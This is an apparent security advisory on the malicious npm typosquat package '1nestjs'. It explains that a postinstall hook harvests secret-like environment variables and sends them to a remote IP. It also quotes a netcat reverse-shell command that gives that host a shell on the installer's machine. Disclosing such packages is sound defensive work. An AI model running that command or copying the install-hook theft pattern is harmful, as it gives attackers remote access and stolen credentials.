If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43)
Package name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").
Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71)
The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.